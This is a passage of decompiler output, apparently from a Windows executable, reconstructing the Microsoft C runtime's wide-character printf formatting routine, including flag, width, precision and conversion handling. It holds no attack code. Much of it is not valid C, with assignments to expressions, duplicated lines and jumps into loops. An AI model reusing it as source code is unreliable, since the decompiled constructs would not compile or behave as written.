				signed int _t523;
				void* _t534;
				signed int _t576;
				void* _t598;
				void* _t599;
				signed int _t600;
				void* _t602;
				void* _t603;

				L0:
				while(1) {
					L0:
					_t482 = E00420C00(_t600 + 0x14);
					_t603 = _t602 + 4;
					 *(_t600 - 0x484) = _t482;
					if(E0042F010() != 0) {
						goto L115;
					}
					L106:
					__ecx = 0;
					if(0 == 0) {
						 *(__ebp - 0x4f4) = 0;
					} else {
						 *(__ebp - 0x4f4) = 1;
					}
					__edx =  *(__ebp - 0x4f4);
					 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
					if( *(__ebp - 0x488) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041F590();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x488) != 0) {
						L114:
						while(1) {
							L187:
							if( *(_t600 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t600 - 0x10) & 0x00000040) != 0) {
								if(( *(_t600 - 0x10) & 0x00000100) == 0) {
									if(( *(_t600 - 0x10) & 0x00000001) == 0) {
										if(( *(_t600 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t600 - 0x14)) = 0x20;
											 *(_t600 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t600 - 0x14)) = 0x2b;
										 *(_t600 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t600 - 0x14)) = 0x2d;
									 *(_t600 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t600 - 0x4ac)) =  *((intOrPtr*)(_t600 - 0x18)) -  *(_t600 - 0x24) -  *(_t600 - 0x1c);
							if(( *(_t600 - 0x10) & 0x0000000c) == 0) {
								E00420B30(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
							}
							E00420B70( *(_t600 - 0x1c), _t600 - 0x14,  *(_t600 - 0x1c),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
							_t603 = _t603 + 0x10;
							if(( *(_t600 - 0x10) & 0x00000008) != 0) {
								if(( *(_t600 - 0x10) & 0x00000004) == 0) {
									E00420B30(0x30,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
									_t603 = _t603 + 0x10;
								}
							}
							if( *(_t600 - 0xc) != 0) {
								L208:
								E00420B70( *(_t600 - 0x24),  *((intOrPtr*)(_t600 - 4)),  *(_t600 - 0x24),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t600 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 4));
								 *(_t600 - 0x4b4) =  *(_t600 - 0x24);
								while(1) {
									L203:
									 *(_t600 - 0x4b4) =  *(_t600 - 0x4b4) - 1;
									if( *(_t600 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t519 = E0041EA40(_t600 - 0x40);
									_t523 = E0042F0C0(_t600 - 0x458,  *((intOrPtr*)(_t600 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041EA40(_t600 - 0x40))) + 0xac)), _t519);
									_t603 = _t603 + 0x10;
									 *(_t600 - 0x4b8) = _t523;
									if( *(_t600 - 0x4b8) > 0) {
										L206:
										E00420AD0( *(_t600 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0xc;
										 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 0x4b0)) +  *(_t600 - 0x4b8);
										continue;
									}
									L205:
									 *(_t600 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t600 - 0x44c) >= 0) {
									if(( *(_t600 - 0x10) & 0x00000004) != 0) {
										E00420B30(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0x10;
									}
								}
							}
							L212:
							if( *(_t600 - 0x20) != 0) {
								L0041D8B0( *(_t600 - 0x20), 2);
								_t603 = _t603 + 8;
								 *(_t600 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t600 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t600 + 0xc))));
								_t538 =  *(_t600 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t600 + 0xc)) =  *((intOrPtr*)(_t600 + 0xc)) + 2;
								if(( *(_t600 - 0x454) & 0x0000ffff) == 0 ||  *(_t600 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t600 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t600 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t600 - 0x4d8) = 0;
									} else {
										 *(_t600 - 0x4d8) =  *(( *(_t600 - 0x454) & 0x0000ffff) + 0x4065b0) & 0xf;
									}
								}
								L7:
								 *(_t600 - 0x450) =  *(_t600 - 0x4d8);
								_t576 =  *(_t600 - 0x450) * 9;
								_t493 =  *(_t600 - 0x45c);
								_t546 = ( *(_t576 + _t493 + 0x4065d0) & 0x000000ff) >> 4;
								 *(_t600 - 0x45c) = ( *(_t576 + _t493 + 0x4065d0) & 0x000000ff) >> 4;
								if( *(_t600 - 0x45c) != 8) {
									L16:
									 *(_t600 - 0x4e0) =  *(_t600 - 0x45c);
									if( *(_t600 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t600 - 0x4e0) * 4 +  &M00421D34))) {
										case 0:
											L18:
											 *(_t600 - 0xc) = 1;
											E00420AD0( *(_t600 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
											_t603 = _t603 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t58 =  *(__ebp - 0x4e4) + 0x421d6c; // 0x498d04
											__ecx =  *_t58 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00421D54))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t82;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00420C00(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t93;
												 *(__ebp - 0x30) = __ecx + _t93;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00420C00(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t101 =  *(__ebp - 0x4e8) + 0x421d94; // 0x15a19003
											__ecx =  *_t101 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00421D80))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t600 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t142 =  *(__ebp - 0x4ec) + 0x421e00; // 0xcccccc0d
											__eax =  *_t142 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M00421DC4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L82:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L84;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													L75:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x474) = E00420C00(__ebp + 0x14);
													__eflags =  *(__ebp - 0x474);
													if( *(__ebp - 0x474) == 0) {
														L77:
														__edx =  *0x43de98; // 0x4063f4
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
														L81:
														goto L187;
													}
													L76:
													__ecx =  *(__ebp - 0x474);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L81;
													}
													goto L77;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041CB30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041EA40(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x43de88; // 0xfb3c7abe
															E00427990(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041EA40(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x43de94; // 0xfb3c7abe
																	E00427990(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041EA40(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x43de90; // 0xfb3c7abe
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
															do {
																L187:
																if( *(_t600 - 0x28) != 0) {
																	goto L212;
																}
																goto L188;
															} while ( *(__ebp - 0x4ec) > 0x37);
															goto L66;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00420C00(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041EA40(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041EA40(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0042F0C0(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													goto L0;
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L84:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00420C00(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L98:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x43de9c; // 0x4063e4
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L101:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L102:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L103:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L104:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L105;
													} else {
														L88:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x43de98; // 0x4063f4
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L92:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L93:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L94:
															__ecx = __ebp - 0x40;
															E0041EA40(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E0042F050( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L97:
														L105:
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
